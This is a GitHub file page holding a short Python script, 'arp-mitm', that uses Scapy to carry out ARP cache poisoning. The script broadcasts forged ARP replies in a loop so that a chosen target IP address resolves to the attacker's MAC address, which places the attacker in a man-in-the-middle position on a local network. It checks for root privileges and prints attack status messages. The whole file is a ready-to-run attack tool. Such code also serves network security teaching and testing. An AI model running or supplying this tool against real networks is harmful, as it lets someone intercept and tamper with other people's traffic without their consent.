-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
arp-mitm
executable file
·77 lines (59 loc) · 1.7 KB
/
arp-mitm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ARP cache poisoning implementation using Scapy.
"""
# pylint: disable=invalid-name
from argparse import ArgumentParser
from os import geteuid
from sys import exit as sysexit
from scapy.layers.l2 import Ether, ARP, get_if_hwaddr
from scapy.sendrecv import sendp
VERSION = "1.2.1"
def arp_mitm(interface, target, interval=10.0):
"""
ARP cache poisoning attack.
"""
my_mac = get_if_hwaddr(interface)
sendp(
Ether(dst="FF:FF:FF:FF:FF:FF") /
ARP(op="is-at", psrc=target, hwsrc=my_mac),
iface=interface,
inter=interval,
loop=True
)
def get_arg_parser():
"""
Returns the argument parser.
"""
arg_parser = ArgumentParser(
description="ARP cache poisoning implementation using Scapy"
)
arg_parser.add_argument(
"-i", "--interface",
required=True, help="network interface to use"
)
arg_parser.add_argument(
"-t", "--target",
required=True, help="target's IP address"
)
arg_parser.add_argument(
"-I", "--interval",
type=float, default=10.0,
help="seconds between two ARP frames (default: 10.0s)"
)
arg_parser.add_argument(
"--version", action="version", version=VERSION
)
return arg_parser
if __name__ == "__main__":
ARGS = vars(get_arg_parser().parse_args())
if not geteuid() == 0:
sysexit("[!] You must be root")
try:
print("[*] Starting the ARP MITM attack...")
arp_mitm(ARGS["interface"], ARGS["target"], ARGS["interval"])
except IOError:
sysexit("[!] Interface doesn't exist")
finally:
print("\n[*] Stopping the ARP MITM attack")